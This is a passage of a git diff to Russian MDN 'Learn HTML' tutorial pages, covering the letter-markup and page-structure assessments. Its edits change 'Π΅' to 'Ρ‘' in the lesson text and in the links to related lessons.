href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B3%D0%B8%D0%BF%D0%B5%D1%80%D1%81%D1%81%D1%8B%D0%BB%D0%BE%D0%BA">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ гипСрссылок</a>, ΠΈ <a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Π£Π³Π»ΡƒΠ±Π»Π΅Π½Π½ΠΎΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ тСкста</a>.</p>
+ <p>ΠŸΠ΅Ρ€Π΅Π΄ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ΠΌ этого задания Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€ΠΎΠΉΡ‚ΠΈΒ <a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%9D%D0%B0%D1%87%D0%B0%D0%BB%D0%BE_%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D1%8B">Начало Ρ€Π°Π±ΠΎΡ‚Ρ‹ с HTML</a>, <a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/The_head_metadata_in_HTML">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ? ΠœΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Π΅ Π² HTML</a>, <a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/HTML_text_fundamentals">ΠžΡΠ½ΠΎΠ²Ρ‹ рСдактирования тСкста Π² HTML</a>, <a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B3%D0%B8%D0%BF%D0%B5%D1%80%D1%81%D1%81%D1%8B%D0%BB%D0%BE%D0%BA">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ гипСрссылок</a>, ΠΈ <a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Π£Π³Π»ΡƒΠ±Π»Ρ‘Π½Π½ΠΎΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ тСкста</a>.</p>
</td>
</tr>
<tr>
@@ -50,7 +50,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Marking_up_a_letter
<ul>
<li>Π˜ΠΌΠ΅Π½Π°Β ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚Π΅Π»Ρ ΠΈ получатСля (ΠΊΠ°ΠΊ ΠΈ "Tel" ΠΈ "Email") Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π΄Π΅Π»Π΅Π½Ρ‹ ΠΆΠΈΡ€Π½Ρ‹ΠΌ.</li>
- <li>Π§Π΅Ρ‚Ρ‹Ρ€Π΅ΠΌΒ Π΄Π°Ρ‚Π°ΠΌΒ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Π΅ элСмСнты содСрТащиС машинно-Ρ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹Π΅ Π΄Π°Ρ‚Ρ‹.</li>
+ <li>Π§Π΅Ρ‚Ρ‹Ρ€Ρ‘ΠΌΒ Π΄Π°Ρ‚Π°ΠΌΒ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Π΅ элСмСнты содСрТащиС машинно-Ρ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹Π΅ Π΄Π°Ρ‚Ρ‹.</li>
<li>ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ адрСс ΠΈ пСрвая Π΄Π°Ρ‚Π° Π² письмС Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>class</code> со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>"sender-column"</code>; CSS ΡΡ‚ΠΈΠ»ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚Π΅ ΠΏΠΎΠ·ΠΆΠ΅, ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ Π²Ρ‹Ρ€Π°Π²Π½ΡΡ‚ΡŒ ΠΏΠΎ ΠΏΡ€Π°Π²ΠΎΠΌΡƒΒ Π±ΠΎΠΊΡƒ, ΠΊΠ°ΠΊ ΠΎΠ½ΠΎ ΠΈ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Π² классичСской Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅ письма.</li>
<li>ΠŸΡΡ‚ΡŒ Π°ΠΊΡ€ΠΎΠ½ΠΈΠΌΠΎΠ²/Π°Π±Π±Ρ€Π΅Π²ΠΈΠ°Ρ‚ΡƒΡ€ Π² Π³Π»Π°Π²Π½ΠΎΠΌ тСкстС письма Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ‡Π΅Π½Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ подсказки для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π°ΠΊΡ€ΠΎΠ½ΠΈΠΌΠ°/Π°Π±Π±Ρ€Π΅Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹.</li>
<li>Π¨Π΅ΡΡ‚ΡŒ ΠΏΠΎΠ΄/надстрочных элСмСнтов Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½Ρ‹ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎ Π² химичСской Ρ„ΠΎΡ€ΠΌΡƒΠ»Π΅, ΠΊΠ°ΠΊ и числа 10<sup>3</sup> ΠΈ 10<sup>4Β </sup>(ΡΡ‚Π΅ΠΏΠ΅Π½ΡŒ числа Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π½Π°Π΄ числом).</li>
@@ -94,7 +94,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Marking_up_a_letter
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/The_head_metadata_in_HTML">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ? ΠœΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Π΅ Π² HTML</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/HTML_text_fundamentals">ΠžΡΠ½ΠΎΠ²Ρ‹ рСдактирования тСкста Π² HTML</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B3%D0%B8%D0%BF%D0%B5%D1%80%D1%81%D1%81%D1%8B%D0%BB%D0%BE%D0%BA">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ гипСрссылок</a></li>
- <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Π£Π³Π»ΡƒΠ±Π»Π΅Π½Π½ΠΎΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ тСкста</a></li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Π£Π³Π»ΡƒΠ±Π»Ρ‘Π½Π½ΠΎΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ тСкста</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%B0_%D0%B4%D0%BE%D0%BA%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D0%B0_%D0%B8_%D0%B2%D0%B5%D0%B1-%D1%81%D0%B0%D0%B9%D1%82%D0%B0">Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈ Π²Π΅Π±-сайта</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Debugging_HTML">ΠžΡ‚Π»Π°Π΄ΠΊΠ° HTML</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Marking_up_a_letter">Π Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° письма</a></li>
diff --git a/files/ru/learn/html/introduction_to_html/structuring_a_page_of_content/index.html b/files/ru/learn/html/introduction_to_html/structuring_a_page_of_content/index.html
index 3f0fe71917..f5a62ee916 100644
--- a/files/ru/learn/html/introduction_to_html/structuring_a_page_of_content/index.html
+++ b/files/ru/learn/html/introduction_to_html/structuring_a_page_of_content/index.html
@@ -10,7 +10,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Structuring_a_page_of_content
<div>{{PreviousMenu("Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}</div>
-<p class="summary">Π Π°Π·ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ страницу Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊ Π½Π΅ΠΉ Π±Ρ‹Π»ΠΎ просто ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ CSS β€” ΠΏΠ΅Ρ€Π²ΠΎΠ΅, Ρ‡Π΅ΠΌΡƒ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π½Π°ΡƒΡ‡ΠΈΡ‚ΡŒΡΡ Π±ΡƒΠ΄ΡƒΡ‰ΠΈΠΉ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ. Π’ этом Π·Π°Π΄Π°Π½ΠΈΠΈ Π²Π°ΠΌ придСтся ΠΏΠΎΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ Π΄ΠΎΠ»ΠΆΠ½Π° Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ страница, ΠΈ ΠΏΠΎΠ΄ΠΎΠ±Ρ€Π°Ρ‚ΡŒ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΡΡ‰ΡƒΡŽ ΡΠ΅ΠΌΠ°Π½Ρ‚ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ.</p>
+<p class="summary">Π Π°Π·ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ страницу Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊ Π½Π΅ΠΉ Π±Ρ‹Π»ΠΎ просто ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ CSS β€” ΠΏΠ΅Ρ€Π²ΠΎΠ΅, Ρ‡Π΅ΠΌΡƒ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π½Π°ΡƒΡ‡ΠΈΡ‚ΡŒΡΡ Π±ΡƒΠ΄ΡƒΡ‰ΠΈΠΉ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ. Π’ этом Π·Π°Π΄Π°Π½ΠΈΠΈ Π²Π°ΠΌ придётся ΠΏΠΎΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ Π΄ΠΎΠ»ΠΆΠ½Π° Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ страница, ΠΈ ΠΏΠΎΠ΄ΠΎΠ±Ρ€Π°Ρ‚ΡŒ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΡΡ‰ΡƒΡŽ ΡΠ΅ΠΌΠ°Π½Ρ‚ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ.</p>
<table class="learn-box standard-table">
<tbody>
@@ -21,7 +21,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Structuring_a_page_of_content
<tr>
<th scope="row">ЦСль:</th>
<td>
- <p>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ знания структуры вСб-страницы ΠΈ Π΅Π΅ ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄Π° Π² Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ.</p>
+ <p>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ знания структуры вСб-страницы ΠΈ Π΅Ρ‘ ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄Π° Π² Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ.</p>
</td>
</tr>
</tbody>
@@ -49,7 +49,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Structuring_a_page_of_content
<li>НиТний ΠΊΠΎΠ»ΠΎΠ½Ρ‚ΠΈΡ‚ΡƒΠ», содСрТащий ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎΠ± авторских ΠΏΡ€Π°Π²Π°Ρ… ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°Ρ….</li>
</ul>
-<p>Π’Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΡΡ‰ΡƒΡŽ ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΡƒ для:</p>
+<p>Π’Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΡΡ‰ΡƒΡŽ ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΡƒ для:</p>
<ul>
<li>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°</li>
@@ -63,7 +63,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Structuring_a_page_of_content
<p>Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹:</p>
<ul>
- <li>ΠŸΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚Π΅ прСдоставлСнный CSS ΠΊ страницС, Π΄ΠΎΠ±Π°Π²ΠΈΠ² Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ элСмСнт {{htmlelement ("link")}} Ρ‡ΡƒΡ‚ΡŒ Π½ΠΈΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ, ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ Π² Π½Π°Ρ‡Π°Π»Π΅.</li>
+ <li>ΠŸΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚Π΅ прСдоставлСнный CSS ΠΊ страницС, Π΄ΠΎΠ±Π°Π²ΠΈΠ² Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ элСмСнт {{htmlelement ("link")}} Ρ‡ΡƒΡ‚ΡŒ Π½ΠΈΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ, ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ Π² Π½Π°Ρ‡Π°Π»Π΅.</li>
</ul>
<h2 id="Π‘ΠΎΠ²Π΅Ρ‚Ρ‹_ΠΈ_подсказки">Π‘ΠΎΠ²Π΅Ρ‚Ρ‹ ΠΈ подсказки</h2>
@@ -71,7 +71,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Structuring_a_page_of_content
<ul>
<li>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅Β <a href="https://validator.w3.org/">W3C HTML validator</a> для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ вашСго HTML; Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ бонусныС Π±Π°Π»Π»Ρ‹, Ссли ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ большС (строка Β«googleapisΒ» ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для ΠΈΠΌΠΏΠΎΡ€Ρ‚Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ² Π½Π° страницу ΠΈΠ· слуТбы Google Fonts, ΠΎΠ½Π° Π½Π΅ провСряСт, Π½ΠΎ Π½Π΅ Π±Π΅ΡΠΏΠΎΠΊΠΎΠΉΡ‚Π΅ΡΡŒ ΠΎΠ± этом слишком ΠΌΠ½ΠΎΠ³ΠΎ - Π²Π°Π»ΠΈΠ΄Π°Ρ‚ΠΎΡ€ - ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΉ инструмСнт, Π½ΠΎ 100% ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° являСтся идСальной, Π° Π½Π΅ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠΉ).</li>
<li>Π’Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ CSS, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ эту ΠΎΡ†Π΅Π½ΠΊΡƒ; Π²Π°ΠΌ просто Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ прСдоставлСнный CSS Π²Π½ΡƒΡ‚Ρ€ΠΈ HTML-элСмСнта.</li>
- <li>ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»Π΅Π½Π½Ρ‹ΠΉ CSS Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠΈ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Ρ… структурных элСмСнтов Π² Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π·Π΅Π»Π΅Π½Ρ‹ΠΌΠΈ Π½Π° ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΠΎΠΉ страницС.</li>
+ <li>ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»Π΅Π½Π½Ρ‹ΠΉ CSS Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠΈ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Ρ… структурных элСмСнтов Π² Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π·Π΅Π»Ρ‘Π½Ρ‹ΠΌΠΈ Π½Π° ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΠΎΠΉ страницС.</li>
<li>Если Π²Ρ‹ застряли ΠΈ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ½ΡΡ‚ΡŒ, ΠΊΠ°ΠΊΠΈΠ΅ элСмСнты ΠΊΡƒΠ΄Π° ΠΏΠΎΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ, часто ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ вывСсти ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ Π±Π»ΠΎΠΊ-схСму ΠΌΠ°ΠΊΠ΅Ρ‚Π° страницы ΠΈ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ надписи Π½Π° элСмСнтах, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅, ΠΏΠΎ Π²Π°ΡˆΠ΅ΠΌΡƒ мнСнию, Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚ΡŒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π±Π»ΠΎΠΊ.</li>
</ul>
@@ -94,7 +94,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Structuring_a_page_of_content
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/The_head_metadata_in_HTML">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ? ΠœΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Π΅ Π² HTML</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/HTML_text_fundamentals">ΠžΡΠ½ΠΎΠ²Ρ‹ рСдактирования тСкста Π² HTML</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B3%D0%B8%D0%BF%D0%B5%D1%80%D1%81%D1%81%D1%8B%D0%BB%D0%BE%D0%BA">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ гипСрссылок</a></li>
- <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Π£Π³Π»ΡƒΠ±Π»Π΅Π½Π½ΠΎΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ тСкста</a></li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Π£Π³Π»ΡƒΠ±Π»Ρ‘Π½Π½ΠΎΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ тСкста</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%B0_%D0%B4%D0%BE%D0%BA%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D0%B0_%D0%B8_%D0%B2%D0%B5%D0%B1-%D1%81%D0%B0%D0%B9%D1%82%D0%B0">Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈ Π²Π΅Π±-сайта</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Debugging_HTML">ΠžΡ‚Π»Π°Π΄ΠΊΠ° HTML</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Marking_up_a_letter">Π Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° письма</a></li>
diff --git a/files/ru/learn/html/introduction_to_html/the_head_metadata_in_html/index.html b/files/ru/learn/html/introduction_to_html/the_head_metadata_in_html/index.html
index 6c762e94ac..0635ec9342 100644
--- a/files/ru/learn/html/introduction_to_html/the_head_metadata_in_html/index.html
+++ b/files/ru/learn/html/introduction_to_html/the_head_metadata_in_html/index.html
@@ -60,14 +60,14 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/The_head_metadata_in_HTML
&lt;/body&gt;
&lt;/html&gt;</pre>
